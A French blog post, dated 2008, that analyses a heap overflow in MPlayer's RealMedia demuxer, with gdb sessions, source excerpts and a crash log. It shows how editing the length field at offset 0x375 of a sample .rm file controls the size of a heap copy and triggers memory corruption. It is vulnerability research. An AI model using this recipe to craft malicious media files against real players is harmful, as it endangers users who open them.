mercredi 1 octobre 2008

Vulnérabilité MPlayer 1.x Heap Overflow

Une récente vulnérabilité a été découverte sur le célèbre logiciel MPlayer, cette faille m'a tout de suite intéressé car il était dit, par secunia (entre autres, mais citons un nom), que c'était un integer underflow (voir le cache google), mais en réalité ce n'est qu'un heap overflow.

Bref, je me suis fait avoir, mais ce n'est pas grave, nous allons voir quand même d'où ça vient et qu'est-ce que c'est.

Etant sur gentoo, je vais donner les marches à suivre pour pouvoir commencer à travailler dans de bonnes conditions, ces conseils sont adaptables partout.

On va emerge le package MPlayer avec le USE suivant.
USE="real quicktime"
Note: Le quicktime doit etre placé à cause d'un bug dans l'ebuild.

Il faut aussi modifier une option dans /etc/make.conf
FEATURES="nostrip"
Ca évitera qu'on strip MPlayer.

Une fois installé, on récupère les sources
ebuild /usr/portage/media-video/mplayer/mplayer-1.0_rc2_p27458.ebuild unpack
On ajuste les droits (personnellement, j'ai tout copié dans un repertoire /src).

Maintenant on peut commencer, oui mais non, comme le signale le CVE, la fonction qui pose problème est demuxer_real_fill_buffer, le "real" signifie que la vulnérabilité s'applique au format .rm (RealMedia).
Le mieux est donc de trouver une vidéo pour savoir où l'on va, mon choix s'est porté sur cette vieille publicité sur Legend Of Zelda.

Un patch est également disponible, ça va nous faire gagner du temps, le patch ajoute 3 conditions devant les fonctions stream_read, ces conditions permettent de tronquer la taille des données qui vont être lues.
gandalf% cat Desktop/mplayer_demux_real.patch | grep @@
@@ -947,6 +947,7 @@
@@ -970,6 +971,7 @@
@@ -992,6 +994,7 @@
On sait où poser nos breakpoints.
On lance gdb avec notre version non stripped de mplayer :
gdb$ dir /src/mplayer-1.0_rc2_p27458/
gdb$ l demux_real_fill_buffer
warning: Source file is more recent than executable.
532
533 // return value:
534 // 0 = EOF or no stream found
535 // 1 = successfully read a packet
536 static int demux_real_fill_buffer(demuxer_t *demuxer, demux_stream_t *dsds)
537 {
538 real_priv_t *priv = demuxer->priv;
539 demux_stream_t *ds = NULL;
540 int len;
541 unsigned int timestamp;
gdb$ b 947
Breakpoint 1 at 0x813c0eb: file libmpdemux/demux_real.c, line 947.
gdb$ b 970
Breakpoint 2 at 0x813cabd: file libmpdemux/demux_real.c, line 970.
gdb$ b 992
Breakpoint 3 at 0x813b1c5: file libmpdemux/demux_real.c, line 992.
gdb$ r Desktop/pub_zelda.rm
Le premier breakpoint se situe ici
992 extra[0]=1; extra[1]=0; // offset of the first chunk
Quelques lignes en dessous, on tombe sur
996 stream_read(demuxer->stream, dp_data, len);
Inspectons les paramètres
gdb$ p *demuxer->stream
$1 = {fill_buffer = 0x8160c73 , write_buffer = 0x8160c45 , seek = 0x8160bf6 , control = 0x8160b76 , close = 0, fd = 0x8, type = 0x0, flags = 0x6, sector_size = 0x0, buf_pos = 0x386, buf_len = 0x800, pos = 0x800, start_pos = 0x0, end_pos = 0x4b977, eof = 0x0, mode = 0x0, cache_pid = 0x0, cache_data = 0x0, priv = 0x0, url = 0x89889b8 "Desktop/pub_zelda.rm", streaming_ctrl = 0x0, buffer = ".RMF\000\000\000\022\000\001\000\000\000\000\000\000\000\aPROP\000\000\0002\000\000\000\0018\200\000\0018\200\000\000\002V\000\000\001\235\000\000\002Ô\000\000w\020\000\000\bµ\000\004·m\000\000\003a\000\003\000\tCONT\000\000\000@\000\000\000\000\000\000\000\b(C) 2005\000&", '\0' , "MDPR\000\000\000p\000\000\000\000\000\000ù@\000\000ù@\000\000\002V\000\000\001\202\000\000\000\000\000\000\a\207\000\000w\020\fVideo Stream\024video/x-pn-realvideo\000\000\000\"\000\000\000\"VIDORV40\001\200\001 \000\f"...}
Cette structure contient les informations sur le fichier ouvert par MPlayer, stream_t::buffer va être les sources des données copiées.
gdb$ p dp_data
$2 = (unsigned char *) 0x89915e0 ""
C'est la destination de la copie, d'après son adresse, on sait qu'il a été alloué dynamiquement (heap).
gdb$ p len
$3 = 0xf6
La taille, c'est ce qu'on va pouvoir manipuler. :)

Voyons maintenant la fonction stream_read
207 inline static int stream_read(stream_t *s,char* mem,int total){
208 int len=total;
209 while(len>0){
210 int x;
211 x=s->buf_len-s->buf_pos;
212 if(x==0){
213 if(!cache_stream_fill_buffer(s)) return total-len; // EOF
214 x=s->buf_len-s->buf_pos;
215 }
216 if(s->buf_pos>s->buf_len) mp_msg(MSGT_DEMUX, MSGL_WARN, "stream_read: WARNING! s->buf_pos>s->buf_len\n");
217 if(x>len) x=len;
218 memcpy(mem,&s->buffer[s->buf_pos],x);
219 s->buf_pos+=x; mem+=x; len-=x;
220 }
221 return total;
222 }
Seule la ligne 218 est intéressante, c'est elle qui va copier les données du fichier dans le buffer mem.

On sait où ça va, maintenant on va voir d'où ça vient, on revient donc sur la fonction demux_real_fill_buffer. La taille de cette fonction étant trop grande, on va se contenter de suivre le paramètre len.

Défini ici
540 int len;
Et initialisé ici
581 len = stream_read_word(demuxer->stream);
Cette fonction va lire 2 octets depuis le fichier contenu dans la structure stream_t.
Note : La fonction retourne un unsigned int, donc le signe ne sera pas étendu ; concrètement, si la fonction retourne 0xFFFF (unsigned int), len (int) sera égal à 0xFFFF et non à 0xFFFFFFFFFF.

La structure stream_t contient un membre appelé buf_pos et il contient l'offet où les données vont être lues par les fonctions stream_read*.

On va poser une breakpoint à la ligne 581, ainsi on pourra recupérer l'offset du fichier qui contient la taille lue, tout ça pour tester rapidement. :)
J'obtiens
Breakpoint 4, demux_real_fill_buffer (demuxer=0x898c6d8, dsds=0x89892b8) at libmpdemux/demux_real.c:581
581 len = stream_read_word(demuxer->stream);
gdb$ p demuxer->stream->buf_pos
$4 = 0x375
Après quelques next , on lit le len.
gdb$ p len
$5 = 0x109
Maintenant on va lire le len juste avant l'appel de la fonction stream_read, c puis quelques n
gdb$ p len
$6 = 0xf6
Soit un delta de 0x13.

Nous allons tester ceci en modifiant le fichier pub_zelda.rm, à l'offset 0x375 on mettera 0x00, 0x13.

582 if ((version==0x4441) && (len==0x5441)) { // new data chunk
gdb$ p len
$11 = 0x13

996 stream_read(demuxer->stream, dp_data, len);
gdb$ p len
$13 = 0x0
Bingo, on a réussi à manipuler la taille.

On peut mettre la taille qu'on veut, il suffit d'y ajouter 0x13.


gandalf% mplayer zelda_exploit.rm
MPlayer dev-SVN-r27458-4.3.1 (C) 2000-2008 MPlayer Team
CPU: Intel(R) Core(TM)2 CPU 6300 @ 1.86GHz (Family: 6, Model: 15, Stepping: 2)
CPUflags: MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1
Compiled for x86 CPU with extensions: MMX MMX2 SSE SSE2

Playing zelda_exploit.rm.
REAL file format detected.
Stream description: Video Stream
Stream mimetype: video/x-pn-realvideo
[real] Video stream found, -vid 0
Stream description: Audio Stream
Stream mimetype: audio/x-pn-realaudio
[real] Audio stream found, -aid 1
Stream mimetype: logical-fileinfo
RM: No video stream found.
RM: No audio stream found -> no sound.
VIDEO: [RV40] 384x288 24bpp 7.000 fps 0.0 kbps ( 0.0 kbyte/s)
Clip info:
copyright: (C) 2005
comment:
*** glibc detected *** mplayer: free(): invalid next size (normal): 0x08992c68 ***
======= Backtrace: =========
/lib/libc.so.6[0xb7ac60cf]
/lib/libc.so.6(cfree+0x89)[0xb7ac6e89]
/lib/libc.so.6(closedir+0x28)[0xb7aead78]
mplayer(sub_filenames+0x3bc)[0x80af7c6]
mplayer(main+0x29e8)[0x807e6be]
/lib/libc.so.6(__libc_start_main+0xe2)[0xb7a73622]
mplayer(vfprintf+0x441)[0x8079341]
======= Memory map: ========
08048000-0867c000 r-xp 00000000 08:12 5104206 /usr/bin/mplayer
0867c000-0867d000 r--p 00633000 08:12 5104206 /usr/bin/mplayer
0867d000-08697000 rw-p 00634000 08:12 5104206 /usr/bin/mplayer
08697000-089ad000 rw-p 08697000 00:00 0 [heap]
b7800000-b7821000 rw-p b7800000 00:00 0
b7821000-b7900000 ---p b7821000 00:00 0
b79da000-b79e6000 r-xp 00000000 08:12 4917808 /usr/lib/gcc/i686-pc-linux-gnu/4.3.1/libgcc_s.so.1
b79e6000-b79e7000 r--p 0000b000 08:12 4917808 /usr/lib/gcc/i686-pc-linux-gnu/4.3.1/libgcc_s.so.1
b79e7000-b79e8000 rw-p 0000c000 08:12 4917808 /usr/lib/gcc/i686-pc-linux-gnu/4.3.1/libgcc_s.so.1
b79f8000-b79fa000 rw-p b79f8000 00:00 0
b79fa000-b7a18000 r-xp 00000000 08:12 5031720 /usr/lib/libexpat.so.1.5.2
b7a18000-b7a1a000 r--p 0001d000 08:12 5031720 /usr/lib/libexpat.so.1.5.2
b7a1a000-b7a1b000 rw-p 0001f000 08:12 5031720 /usr/lib/libexpat.so.1.5.2
b7a1b000-b7a22000 r-xp 00000000 08:12 4975241 /lib/librt-2.8.so
b7a22000-b7a23000 r--p 00006000 08:12 4975241 /lib/librt-2.8.so
b7a23000-b7a24000 rw-p 00007000 08:12 4975241 /lib/librt-2.8.so
b7a24000-b7a29000 r-xp 00000000 08:12 5071510 /usr/lib/libgdbm.so.3.0.0
b7a29000-b7a2a000 r--p 00004000 08:12 5071510 /usr/lib/libgdbm.so.3.0.0
b7a2a000-b7a2b000 rw-p 00005000 08:12 5071510 /usr/lib/libgdbm.so.3.0.0
b7a2b000-b7a40000 r-xp 00000000 08:12 4999388 /usr/lib/libICE.so.6.3.0
b7a40000-b7a41000 r--p 00014000 08:12 4999388 /usr/lib/libICE.so.6.3.0
b7a41000-b7a42000 rw-p 00015000 08:12 4999388 /usr/lib/libICE.so.6.3.0
b7a42000-b7a45000 rw-p b7a42000 00:00 0
b7a45000-b7a48000 r-xp 00000000 08:12 2990219 /lib/libuuid.so.1.2
b7a48000-b7a49000 r--p 00002000 08:12 2990219 /lib/libuuid.so.1.2
b7a49000-b7a4a000 rw-p 00003000 08:12 2990219 /lib/libuuid.so.1.2
b7a4a000-b7a51000 r-xp 00000000 08:12 5071188 /usr/lib/libSM.so.6.0.0
b7a51000-b7a52000 r--p 00006000 08:12 5071188 /usr/lib/libSM.so.6.0.0
b7a52000-b7a53000 rw-p 00007000 08:12 5071188 /usr/lib/libSM.so.6.0.0
b7a53000-b7a57000 r-xp 00000000 08:12 4999421 /usr/lib/libXdmcp.so.6.0.0
b7a57000-b7a58000 r--p 00003000 08:12 4999421 /usr/lib/libXdmcp.so.6.0.0
b7a58000-b7a59000 rw-p 00004000 08:12 4999421 /usr/lib/libXdmcp.so.6.0.0
b7a59000-b7a5b000 r-xp 00000000 08:12 5071347 /usr/lib/libXau.so.6.0.0
b7a5b000-b7a5c000 r--p 00001000 08:12 5071347 /usr/lib/libXau.so.6.0.0
b7a5c000-b7a5d000 rw-p 00002000 08:12 5071347 /usr/lib/libXau.so.6.0.0
b7a5d000-b7b91000 r-xp 00000000 08:12 4975222 /lib/libc-2.8.so
b7b91000-b7b93000 r--p 00134000 08:12 4975222 /lib/libc-2.8.so
b7b93000-b7b94000 rw-p 00136000 08:12 4975222 /lib/libc-2.8.so
b7b94000-b7b98000 rw-p b7b94000 00:00 0
b7b98000-b7ba1000 r-xp 00000000 08:12 5071350 /usr/lib/libmpcdec.so.5.0.2
b7ba1000-b7ba2000 r--p 00008000 08:12 5071350 /usr/lib/libmpcdec.so.5.0.2
b7ba2000-b7ba3000 rw-p 00009000 08:12 5071350 /usr/lib/libmpcdec.so.5.0.2
b7ba3000-b7ba7000 r-xp 00000000 08:12 5064637 /usr/lib/libogg.so.0.5.3
b7ba7000-b7ba8000 r--p 00003000 08:12 5064637 /usr/lib/libogg.so.0.5.3
b7ba8000-b7ba9000 rw-p 00004000 08:12 5064637 /usr/lib/libogg.so.0.5.3
b7ba9000-b7bb8000 r-xp 00000000 08:12 5104228 /usr/lib/libtheora.so.0.3.3
b7bb8000-b7bb9000 r--p 0000e000 08:12 5104228 /usr/lib/libtheora.so.0.3.3
b7bb9000-b7bba000 rw-p 0000f000 08:12 5104228 /usr/lib/libtheora.so.0.3.3
b7bba000-b7bcf000 r-xp 00000000 08:12 5145522 /usr/lib/libmad.so.0.2.1
b7bcf000-b7bd0000 r--p 00015000 08:12 5145522 /usr/lib/libmad.so.0.2.1
b7bd0000-b7bd1000 rw-p 00016000 08:12 5145522 /usr/lib/libmad.so.0.2.1
b7bd1000-b7bfb000 r-xp 00000000 08:12 5138049 /usr/lib/libfontconfig.so.1.3.0
b7bfb000-b7bfc000 r--p 00029000 08:12 5138049 /usr/lib/libfontconfig.so.1.3.0
b7bfc000-b7bfd000 rw-p 0002a000 08:12 5138049 /usr/lib/libfontconfig.so.1.3.0
b7bfd000-b7c0e000 r-xp 00000000 08:12 2990259 /lib/libz.so.1.2.3
b7c0e000-b7c0f000 r--p 00010000 08:12 2990259 /lib/libz.so.1.2.3
b7c0f000-b7c10000 rw-p 00011000 08:12 2990259 /lib/libz.so.1.2.3
b7c10000-b7c11000 rw-p b7c10000 00:00 0
b7c11000-b7c90000 r-xp 00000000 08:12 5153806 /usr/lib/libfreetype.so.6.3.18
b7c90000-b7c94000 r--p 0007e000 08:12 5153806 /usr/lib/libfreetype.so.6.3.18
b7c94000-b7c95000 rw-p 00082000 08:12 5153806 /usr/lib/libfreetype.so.6.3.18
b7c95000-b7c97000 r-xp 00000000 08:12 4975062 /lib/libdl-2.8.so
b7c97000-b7c98000 r--p 00001000 08:12 4975062 /lib/libdl-2.8.so
b7c98000-b7c99000 rw-p 00002000 08:12 4975062 /lib/libdl-2.8.so
b7c99000-b7d4a000 r-xp 00000000 08:12 5220699 /usr/lib/libasound.so.2.0.0
b7d4a000-b7d4b000 r--p 000b0000 08:12 5220699 /usr/lib/libasound.so.2.0.0
b7d4b000-b7d4f000 rw-p 000b1000 08:12 5220699 /usr/lib/libasound.so.2.0.0
b7d4f000-b7d8b000 r-xp 00000000 08:12 5196033 /lib/libncurses.so.5.6
b7d8b000-b7d93000 r--p 0003c000 08:12 5196033 /lib/libncurses.so.5.6
b7d93000-b7d94000 rw-p 00044000 08:12 5196033 /lib/libncurses.so.5.6
b7d94000-b7d95000 rw-p b7d94000 00:00 0
b7d95000-b7df2000 r-xp 00000000 08:12 5079408 /usr/lib/libpulse.so.0.6.0
b7df2000-b7df3000 r--p 0005c000 08:12 5079408 /usr/lib/libpulse.so.0.6.0
b7df3000-b7df4000 rw-p 0005d000 08:12 5079408 /usr/lib/libpulse.so.0.6.0
b7df4000-b7e18000 r-xp 00000000 08:12 4975254 /lib/libm-2.8.so
b7e18000-b7e19000 r--p 00023000 08:12 4975254 /lib/libm-2.8.so
b7e19000-b7e1a000 rw-p 00024000 08:12 4975254 /lib/libm-2.8.so
b7e1a000-b7e1b000 rw-p b7e1a000 00:00 0
b7e1b000-b7e3e000 r-xp 00000000 08:12 5146138 /usr/lib/libaudiofile.so.0.0.2
b7e3e000-b7e40000 r--p 00023000 08:12 5146138 /usr/lib/libaudiofile.so.0.0.2
b7e40000-b7e41000 rw-p 00025000 08:12 5146138 /usr/lib/libaudiofile.so.0.0.2
b7e41000-b7e4a000 r-xp 00000000 08:12 5073310 /usr/lib/libesd.so.0.2.39
b7e4a000-b7e4b000 r--p 00008000 08:12 5073310 /usr/lib/libesd.so.0.2.39
b7e4b000-b7e4c000 rw-p 00009000 08:12 5073310 /usr/lib/libesd.so.0.2.39
b7e4c000-b7e50000 r-xp 00000000 08:12 4957817 /usr/lib/libXxf86vm.so.1.0.0
b7e50000-b7e51000 r--p 00003000 08:12 4957817 /usr/lib/libXxf86vm.so.1.0.0
b7e51000-b7e52000 rw-p 00004000 08:12 4957817 /usr/lib/libXxf86vm.so.1.0.0
b7e52000-b7e66000 r-xp 00000000 08:12 4975223 /lib/libpthread-2.8.so
b7e66000-b7e67000 r--p 00013000 08:12 4975223 /lib/libpthread-2.8.so
b7e67000-b7e68000 rw-p 00014000 08:12 4975223 /lib/libpthread-2.8.so
b7e68000-b7e6a000 rw-p b7e68000 00:00 0
b7e6a000-b7f5c000 r-xp 00000000 08:12 5129155 /usr/lib/libX11.so.6.2.0
b7f5c000-b7f5d000 r--p 000f1000 08:12 5129155 /usr/lib/libX11.so.6.2.0
b7f5d000-b7f60000 rw-p 000f2000 08:12 5129155 /usr/lib/libX11.so.6.2.0
b7f60000-b7f61000 rw-p b7f60000 00:00 0
b7f61000-b7f6f000 r-xp 00000000 08:12 5104447 /usr/lib/libXext.so.6.4.0
b7f6f000-b7f70000 r--p 0000d000 08:12 5104447 /usr/lib/libXext.so.6.4.0
b7f70000-b7f71000 rw-p 0000e000 08:12 5104447 /usr/lib/libXext.so.6.4.0
b7f71000-b7f72000 rw-p b7f71000 00:00 0
b7f7a000-b7f7b000 rw-p b7f7a000 00:00 0
b7f7b000-b7f82000 r--s 00000000 08:12 4433441 /usr/lib/gconv/gconv-modules.cache


MPlayer interrupted by signal 6 in module: read_subtitles_file
- MPlayer crashed. This shouldn't happen.
It can be a bug in the MPlayer code _or_ in your drivers _or_ in your
gcc version. If you think it's MPlayer's fault, please read
DOCS/HTML/en/bugreports.html and follow the instructions there. We can't and
won't help unless you provide this information when reporting a possible bug.


Je vous laisse, je vais manger.